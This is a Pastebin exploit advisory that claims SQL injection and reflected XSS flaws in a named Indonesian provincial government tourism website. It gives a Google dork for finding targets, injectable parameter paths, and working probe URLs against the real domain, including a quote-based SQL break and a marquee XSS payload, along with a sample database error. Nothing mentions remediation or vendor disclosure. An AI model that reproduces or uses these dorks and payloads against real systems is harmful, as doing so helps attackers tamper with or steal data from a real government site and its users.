Advertisement
KingSkrupellos

JabarProv Disparpud Indonesian Government XSS SQL Injection

May 3rd, 2019
175
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.89 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Web Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat Indonesia XSS SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 04/05/2019
  7. # Vendor Homepage : disparbud.jabarprov.go.id
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Google Dorks : Beranda - Web Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat site:go.id
  12. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  13. Special Elements used in an SQL Command ('SQL Injection') ]
  14. CWE-79 [ Improper Neutralization of Input During
  15. Web Page Generation ('Cross-site Scripting') ]
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. ###################################################################
  21.  
  22. # Impact :
  23. ***********
  24. Web Dinas Pariwisata dan Kebudayaan Provinsi Jawa Barat is prone to an SQL-injection
  25. vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  26. Exploiting this issue could allow an attacker to compromise the application, access or
  27. modify data, or exploit latent vulnerabilities in the underlying database.
  28. A remote attacker can send a specially crafted request to the vulnerable application and
  29. execute arbitrary SQL commands in application`s database. Further exploitation of this
  30. vulnerability may result in unauthorized data manipulation.
  31. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  32.  
  33. Reflected XSS (or Non-Persistent) :
  34. ***************************************
  35. The server reads data directly from the HTTP
  36. request and reflects it back in the HTTP response. Reflected XSS exploits occur when an
  37. attacker causes a victim to supply dangerous content to a vulnerable web application,
  38. which is then reflected back to the victim and executed by the web browser. The most common
  39. mechanism for delivering malicious content is to include it as a parameter in a URL that is
  40. posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute
  41. the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL
  42. that refers to a vulnerable site. After the site reflects the attacker's content back to the victim,
  43. the content is executed by the victim's browser.
  44.  
  45. ###################################################################
  46.  
  47. # SQL Injection Exploit :
  48. **********************
  49. /wisata/dest-det.php?id=[SQL Injection]
  50.  
  51. /applications/frontend/index.php?mod=weblink&lang=[SQL Injection]
  52.  
  53. /applications/frontend/index.php?mod=objek-wisata&act=showDetailResto&id=[SQL Injection]
  54.  
  55. ###################################################################
  56.  
  57. # Example Vulnerable Sites :
  58. *************************
  59. [+] disparbud.jabarprov.go.id/wisata/dest-det.php?id=1%27
  60.  
  61. [+] disparbud.jabarprov.go.id/wisata/dest-det.php?id=1%27%3Cmarquee%3E%3C
  62. font%20color=lime%20size=32%3EXSS-Vulnerability-Discovered-By-
  63. KingSkrupellos%3C/font%3E%3C/marquee%3E
  64.  
  65. [+] disparbud.jabarprov.go.id/applications/frontend/index.php?mod=objek-wisata&act=
  66. showDetailResto&id=1%27%3Cmarquee%3E%3Cfont%20color=lime%20size=
  67. 32%3EXSS-Vulnerability-Discovered-By-KingSkrupellos%3C/font%3E%3C/marquee%3E
  68.  
  69. ###################################################################
  70.  
  71. # Example SQL Database Error :
  72. ****************************
  73. Database Message Error : You have an error in your SQL syntax; check the manual
  74. that corresponds to your MariaDB server version for the right syntax to use near ''30''' at line 1
  75.  
  76. ###################################################################
  77.  
  78. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  79.  
  80. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement